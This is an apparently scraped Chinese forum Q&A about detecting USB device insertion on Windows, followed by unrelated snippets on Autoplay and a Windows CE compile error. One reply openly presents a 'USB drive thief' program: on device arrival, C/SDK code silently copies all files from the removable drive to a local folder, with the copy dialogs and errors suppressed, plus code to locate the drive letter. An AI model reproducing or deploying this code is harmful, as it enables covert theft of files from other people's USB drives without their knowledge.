当有U盘或摄像头插进USB口时, 程序如何检测到

来源:互联网 发布:cgi加载java class 编辑:程序博客网 时间:2024/05/19 23:28
当有U盘或摄像头插进USB口时, 程序如何检测到? 
嘿嘿,楼主想做的跟我最近写的一个小程序差不多。下面是我简单写的U盘小偷程序,我是用SDK方式写的,你拿去参考,转换成MFC代码也很简单的:  
  case  WM_DEVICECHANGE:  //检测USB接口的外设插入  
      switch((UINT)wParam)  
      {  
                          case  DBT_DEVICEARRIVAL:  
              //MessageBox(hwnd,"发现新硬件!!","hello",MB_OK);  
                                SHFILEOPSTRUCT  fo;//复制文件应该放到一个线程里的  
                memset(&fo,  0,  sizeof(fo));                
                fo.wFunc  =  FO_COPY;  
                fo.pFrom  ="j:\\*.*";    //假设j盘是移动磁盘盘符  
                fo.pTo  =  "d:\\file";      
                                                      //全盘复制到d:\\file,够狠的,呵呵,你自己可确定个存放目录  
                fo.fFlags  =  FOF_SILENT  |  FOF_NOERRORUI;  
                                                            //不显示复制信息的对话框,小偷嘛^_^  
              SHFileOperation(&fo);        
  break;  
    default:  
    break;  
  下面是查找U盘盘符的基本代码:  
  ......  
  char  dir[30];  
  for(char  cc='A';cc<='Z';cc++)  
    {  
        sprintf(dir,"%c:",cc);    
        if(GetDriveType((LPCTSTR)dir)==DRIVE_REMOVABLE)    
              brek;    
      //至多只能找到一个移动磁盘盘符,若有多个移动磁盘也是很容易实现的,你自己想想.....  
    }  
  ...........  
  上面的代码还可以像下面这样的写,同样也是至多只能找到一个可以移动磁盘盘符,修改成能找到多个盘符的情况也很容易,给FindU()  传个CString类型的数组参数,让它接收盘符就可以的了:  
  CString  FindU()    
  {    
      CString  dir="";  
      for(char  cc='A';cc<='Z';cc++)  
    {  
        dir.Format("%c:",cc);    
        if(GetDriveType((LPCTSTR)dir)==DRIVE_REMOVABLE)    
              return  dir;    
    }  
    return  dir="  ";  
  }  
  至于要检测U盘是否已经拔除,响应相关的消息就是了,该论坛里也有高手发过相似的例子.......... 
http://msdn.microsoft.com/msdnmag/issues/01/11/autoplay/default.aspx 
Autoplay in Windows XP: Automatically Detect and React to New Devices on a System 
插入USB盘的时候电脑会自动弹出一个打开列表的窗口,询问要做什么,请问如何把我自己的程序加到这个列表中,用我的程序打开? 
D:\Program Files\Windows CE Tools\wce500\test1\Include\Emulator\AYGShell.h(68) : error C2061: syntax error : identifier 'IShellPropSheetExt' 
这个错误的解决方法在stdxfx.h 
#include <aygshell.h> 
#include <afxwin.h>        // MFC core and standard components 
#include <afxext.h>        // MFC extensions 
#include <afxdisp.h>        // MFC Automation classes 
#include <afxdtctl.h>        // MFC support for Internet Explorer 4 Common Controls 
#ifndef _AFX_NO_AFXCMN_SUPPORT 
#include <afxcmn.h>            // MFC support for Windows Common Controls 
#endif // _AFX_NO_AFXCMN_SUPPORT 

#pragma comment( lib, "aygshell.lib" )
原创粉丝点击